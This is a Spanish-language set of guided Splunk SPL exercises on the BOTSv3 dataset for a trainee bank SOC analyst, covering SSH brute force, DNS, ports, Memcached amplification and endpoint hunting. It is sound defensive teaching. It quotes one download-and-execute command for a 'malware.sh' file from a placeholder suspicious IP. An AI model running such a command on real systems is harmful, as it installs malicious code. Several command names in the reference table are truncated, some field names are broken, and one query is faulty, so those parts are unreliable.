Prácticas SPL Guiadas con BOTSv3

Contexto: Aprendiz de SOC

Eres un analista SOC en formación en el “Banco Nacional”. Acabas de terminar el curso básico de Splunk y ahora toca practicar con datos reales. Tu mentor te ha preparado una serie de ejercicios progresivos para que domines SPL por ti mismo.

Cada ejercicio tiene un objetivo claro, una busqueda SPL, una explicación de que ves y una pregunta para que respondas antes de avanzar.

Dataset: BOTSv3 | Índice: index=botsv3 | Periodo: Agosto 2018

NIVEL 1: Reconocimiento del Entorno

Antes de buscar amenazas, tienes que saber que datos tienes.

Ejercicio 1.1: ?Cuantos sourcetypes hay?

Objetivo: Saber la cantidad total de tipos de log diferentes en tu SIEM.

index=botsv3 | stats dc(sourcetype) as total_sourcetypes

Que ves: Un único número: la cantidad de sourcetypes distintos.

En tu banco: Si un sourcetype nuevo aparece de repente, alguien conecto un equipo no autorizado.

Pregunta: ?Cuantos sourcetypes diferentes hay en BOTSv3?

Ejercicio 1.2: Cuales son esos sourcetypes?

Objetivo: Ver la lista completa de sourcetypes disponibles.

index=botsv3 | stats values(sourcetype) as sourcetypes

Que ves: Lista completa de sourcetypes, ordenados alfabeticamente.

En tu banco: Necesitas saber si tienes logs de firewall, de antivirus, de servidores…

Pregunta: ?Cuales son los 5 sourcetypes más importantes para seguridad? (pista: firewall, autenticación, cloud, antivirus, DNS)

Ejercicio 1.3: Que hosts reportan?

Objetivo: Saber cuantos equipos diferentes están enviando logs.

index=botsv3 | stats dc(host) as total_hosts

Que ves: Número de hosts únicos.

Variante - ver la lista:

index=botsv3 | stats values(host) as hosts

Pregunta: ?Sabes diferenciar los hosts de AWS (amazonaws.com) de los hosts locales?

Ejercicio 1.4: Volumen por sourcetype (top 10)

Objetivo: Entender que tipo de log predomina en tu red.

index=botsv3 | top limit=10 sourcetype

Que ves: Los 10 sourcetypes con más eventos, ordenados de mayor a menor con su porcentaje.

En tu banco: Saber que tu firewall genera el 30% de los logs o que syslog es dominante te ayuda a dimensionar tu SIEM.

Pregunta: ?Que sourcetype es el más abundante? ?Era el que esperabas?

Ejercicio 1.5: Tabla sourcetype + host

Objetivo: Asociar cada tipo de log con el host que lo genera.

index=botsv3 | stats count by sourcetype, host | sort - count

Que ves: Cada combinación sourcetype-host con su cuenta de eventos.

En tu banco: Saber que el firewall Cisco ASA solo reporta desde un host específico te ayuda a identificar si alguien lo desconecta.

Pregunta: ?Hay sourcetypes que aparecen en multiples hosts? ?Cuales?

NIVEL 2: Autenticación y Accesos

Los logs de autenticación son lo primero que revisa un SOC.

Ejercicio 2.1: Buscar sourcetypes de autenticación

Objetivo: Encontrar los logs de login (Windows y Linux).

index=botsv3 | top sourcetype | search sourcetype=*secure* OR sourcetype=*win* OR sourcetype=*login*

Que ves: Sourcetypes relacionados con autenticación.

En tu banco: Los logs de linux_secure contienen SSH, los de wineventlog contienen EventLog de Windows.

Pregunta: ?Que sourcetype encontraste para autenticación Linux? ?Y para Windows?

Ejercicio 2.2: Intentos de SSH fallidos

Objetivo: Detectar ataques de fuerza bruta contra servidores Linux.

index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip, host | sort - count

Que ves: IPs atacando por SSH a servidores Linux, con número de intentos fallidos.

En tu banco: Una IP con 100+ intentos fallidos es un ataque de fuerza bruta en curso.

Pregunta: ?Cuantas IPs diferentes intentaron hacer SSH bruteforce? ?Cual fue la más insistente?

Ejercicio 2.3: Usuarios atacados por SSH

Objetivo: Saber a que usuarios intentan acceder los atacantes.

index=botsv3 sourcetype=linux_secure "Failed password" | stats count by user, src_ip | sort - count

Que ves: Lista de usuarios目标 y las IPs que intentaron acceder.

En tu banco: Si un atacante prueba con “root”, “admin”, “administrator” → ataque automatizado.

Pregunta: ?Que usuarios aparecen como objetivo? ?Hay alguna cuenta de administrador en la lista?

Ejercicio 2.4: Logins SSH exitosos

Objetivo: Ver quién consiguio acceso por SSH.

index=botsv3 sourcetype=linux_secure "Accepted password" | stats count by user, src_ip, host

Que ves: Conexiones SSH exitosas: quien, desde donde, a que servidor.

En tu banco: Una IP externa que logra acceso exitoso después de muchos fallidos = atacante dentro.

Pregunta: ?Hay alguna IP que aparezca tanto en fallidos como en exitosos?

Ejercicio 2.5: Conexiones fuera de horario

Objetivo: Detectar actividad inusual en horario no laboral.

index=botsv3 sourcetype=linux_secure "Accepted password" | eval hour=strftime(_time, "%H") | where hour < 7 OR hour > 19 | stats count by user, src_ip, hour

Que ves: Conexiones SSH exitosas entre las 19:00 y las 07:00.

En tu banco: Un administrador conectandose a las 3am desde una IP extrana = posible intruso.

Pregunta: ?Hay alguna conexión fuera de horario que parezca sospechosa?

NIVEL 3: Tráfico de Red

Ahora toca mirar el tráfico de red. Aquí es donde los atacantes dejan más huellas.

Ejercicio 3.1: Tráfico DNS - consultas más frecuentes

Objetivo: Ver qué dominios se están consultando en tu red.

index=botsv3 sourcetype=stream:dns | top limit=20 query

Que ves: Los 20 dominios más consultados desde tu red interna.

En tu banco: Dominios de servicios cloud (aws, azure) son normales. Dominios con nombres extranos o de reciente creación son sospechosos.

Pregunta: ?Hay algun dominio en el top 20 que no parezca legitimo?

Ejercicio 3.2: Tráfico a puertos inusuales

Objetivo: Detectar servicios no autorizados corriendo en la red.

index=botsv3 sourcetype=stream:tcp | top limit=20 dest_port

Que ves: Los puertos TCP más usados en tu red.

Puertos normales: 80 (HTTP), 443 (HTTPS), 22 (SSH), 53 (DNS), 25 (SMTP) Puertos sospechosos: 4444, 5555, 6666, 1337, 31337, 12345

En tu banco: Puerto 4444 = Metasploit default. Puerto 11211 (Memcached) = posible amplificación DDoS.

Pregunta: ?Ves algun puerto en el top 20 que sea inusual?

Ejercicio 3.3: Investigar el puerto 11211 (Memcached)

Objetivo: Analizar el tráfico a un puerto sospechoso en detalle.

index=botsv3 dest_port=11211 | stats count by src_ip, dest_ip | sort - count

Que ves: IPs origen y destino involucradas en tráfico a puerto Memcached.

index=botsv3 dest_port=11211 | stats sum(bytes) as total_bytes, sum(bytes_out) as bytes_out by src_ip | sort - total_bytes | eval ratio=round(bytes_out/bytes_in, 2)

Que ves: El volumen de datos y el ratio de amplificación. Si ytes_out es miles de veces mayor que ytes_in, es un ataque de amplificación.

En tu banco: El ataque Memcached usa el puerto 11211 para amplificar tráfico 10.000x - 50.000x.

Pregunta: ?Cual es el ratio de amplificación más alto que ves?

Ejercicio 3.4: Timeline del ataque Memcached

Objetivo: Ver cuándo ocurrio exactamente el ataque.

index=botsv3 dest_port=11211 | timechart span=5m count

Que ves: Grafica de actividad contra puerto 11211 en intervalos de 5 minutos.

Cambia a pestaña “Estadisticas” para ver los números exactos.

Pregunta: ?En que fecha y hora exacta empezo el ataque? ?Cuantos minutos duro?

Ejercicio 3.5: Firewall - tráfico bloqueado

Objetivo: Ver qué intentos de conexión están siendo bloqueados por el firewall.

index=botsv3 sourcetype=cisco:asa | top limit=20 src_ip

Que ves: Las IPs que más tráfico generan hacia el firewall.

index=botsv3 sourcetype=cisco:asa | stats count by src_ip, dest_ip | sort - count | head 20

Que ves: IPs externas conectando a IPs internas a traves del firewall.

En tu banco: El firewall Cisco ASA protege el perímetro de la red.

Pregunta: ?Cuantos eventos de Cisco ASA hay en total? (Pista: lo vimos en A2)

NIVEL 4: Endpoints (Windows y Linux)

El atacante ya está dentro. Ahora toca ver qué hace en los equipos.

Ejercicio 4.1: Procesos más comunes en Windows

Objetivo: Entender que procesos son normales en los endpoints Windows.

index=botsv3 sourcetype=PerfmonMk:Process | top limit=15 process_name

Que ves: Los procesos que más recursos consumen en los servidores Windows.

En tu banco: Procesos como svchost.exe, explorer.exe, firefox.exe son normales. Powershell.exe o cmd.exe desde cuentas de usuario no.

Pregunta: ?Que procesos de administración ves en el top 15?

Ejercicio 4.2: Monitoreo de hosts Windows

Objetivo: Ver qué equipos Windows están reportando y su estado.

index=botsv3 sourcetype=WinHostMon | stats count by host

Que ves: Hosts Windows y cuantos eventos de monitoreo generan cada uno.

En tu banco: Si un host deja de reportar, puede estar apagado… o comprometido.

Pregunta: ?Cuantos hosts Windows diferentes hay en el dataset?

Ejercicio 4.3: Comandos ejecutados (osquery)

Objetivo: Ver qué comandos se ejecutaron en los endpoints Linux vía osquery.

index=botsv3 sourcetype=osquery:results | stats count by host, name | sort - count | head 20

Que ves: Consultas osquery ejecutadas en cada host y cuantas veces.

En tu banco: osquery es una herramienta de monitoreo de endpoints. Consultas como “processes”, “listening_ports”, “crontab” son normales.

Pregunta: ?Que tipo de consultas osquery se ejecutaron?

Ejercicio 4.4: Paquetes instalados en Linux

Objetivo: Ver qué software tienen instalado los servidores Linux.

index=botsv3 sourcetype=dpkg | top limit=20 name

Que ves: Paquetes Debian instalados en los servidores Linux.

En tu banco: Saber que versiones de software tienen tus servidores te ayuda a detectar vulnerabilidades.

Pregunta: ?Hay algun paquete con versión antigua que pudiera ser vulnerable?

NIVEL 5: Threat Hunting (Caza Activa)

Ya sabes moverte por los datos. Ahora a buscar amenazas de verdad.

Ejercicio 5.1: Buscar descargas con PowerShell

Objetivo: Encontrar evidencia de descarga de malware.

index=botsv3 sourcetype=bash_history "wget" OR "curl"

Que ves: Comandos wget/curl ejecutados en servidores Linux.

index=botsv3 sourcetype=bash_history "chmod +x" OR "./"

Que ves: Archivos descargados y ejecutados.

En tu banco: wget http://ip-sospechosa/malware.sh && chmod +x && ./malware.sh = compromiso.

Pregunta: ?Hay alguna IP externa a la que se hayan conectado para descargar archivos?

Ejercicio 5.2: Movimiento lateral

Objetivo: Detectar un atacante moviendose entre servidores.

index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, host

Que ves: Conexiones SSH por clave pública entre servidores.

En tu banco: Si el mismo usuario se conecta a 5 servidores diferentes en pocos minutos, alguien esta moviendose lateralmente.

Pregunta: ?Hay algun usuario que se conecte a multiples servidores?

Ejercicio 5.3: Cambios en archivos de configuración

Objetivo: Buscar persistencia (backdoors).

index=botsv3 sourcetype=bash_history "crontab" OR "/etc/" OR "systemctl"

Que ves: Comandos que modifican configuración del sistema.

En tu banco: Anadir un cronjob o modificar /etc/shadow son técnicas de persistencia tipicas.

Pregunta: ?Se anyadio algun cronjob o se modifico algun archivo de configuración crítico?

Ejercicio 5.4: Puertos en escucha

Objetivo: Ver qué servicios están expuestos en los servidores.

index=botsv3 sourcetype=osquery:results name=processes | stats count by host, name

Que ves: Procesos activos detectados por osquery.

Pregunta: ?Hay algun proceso anormal (puerto inusual, nombre extrano)?

Ejercicio 5.5: Resumen por hora de toda la red

Objetivo: Visualizar la actividad global y detectar anomalias.

index=botsv3 | timechart span=1h count

Que ves: Grafica global de eventos por hora durante todo el periodo.

En tu banco: Picos repentinos = algo esta pasando (ataque, scan, exfiltración).

Pregunta: ?En que hora exacta hay un pico de actividad? ?A que sourcetype corresponde ese pico? (Pista: anade y sourcetype al timechart)

EJERCICIOS COMPLETOS (Mini-Challenges)

Mini-Challenge 1: SSH Brute Force

Encuentra la IP que hizo más intentos de SSH fallidos y determina:

  • ?Cuantos intentos hizo?
  • ?A que usuarios intento acceder?
  • ?Logro acceder exitosamente?
index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip | sort - count | head 5

Mini-Challenge 2: El ataque Memcached

Responde:

  1. ?Que IP atacante aparece?
  2. ?Que IP victima?
  3. ?Cuantos datos se exfiltraron en total?
  4. ?Cual fue el ratio de amplificación máximo?
index=botsv3 dest_port=11211 | stats sum(bytes_in) as total_in, sum(bytes_out) as total_out | eval ratio=round(total_out/total_in, 0)

Mini-Challenge 3: Reconstrucción de incidente

Elige un host sospechoso (por ejemplo, el que recibe el tráfico Memcached: 10.10.10.178) y responde:

  • ?Que sourcetypes aparecen para ese host?
  • ?En que horas tuvo actividad?
  • ?Que IPs externas se conectaron a el?
index=botsv3 dest_ip="10.10.10.178" | stats count by sourcetype, src_ip | sort - count

Mini-Challenge 4: Reporte de hallazgos

Escribe un mini-reporte (3-4 parrafos) respondiendo:

  1. ?Que encontro el SOC?
  2. ?Cual fue el vector de ataque?
  3. ?Que servidores estuvieron involucrados?
  4. ?Que recomendaciones darias?

Referencia Rápida DE COMANDOS SPL

ComandoQue haceEjemplo
stats countCuenta eventosstats count by src_ip
stats dc()Cuenta valores únicosstats dc(host)
stats values()Lista valores únicosstats values(sourcetype)
stats sum()Suma valores numericosstats sum(bytes)
opTop N ordenadoop limit=10 sourcetype
imechartGráfico temporalimechart span=1h count
evalCrea campo calculadoeval ratio=out/in
whereFiltro condicionalwhere count > 10
searchFiltro de textosearch “Failed password”
ableTabla personalizadaable _time, src_ip, dest_ip
sortOrdenarsort - count
enameRenombrar campoename count as total

Documento creado el 06/06/2026 - Prácticas SPL progresivas con BOTSv3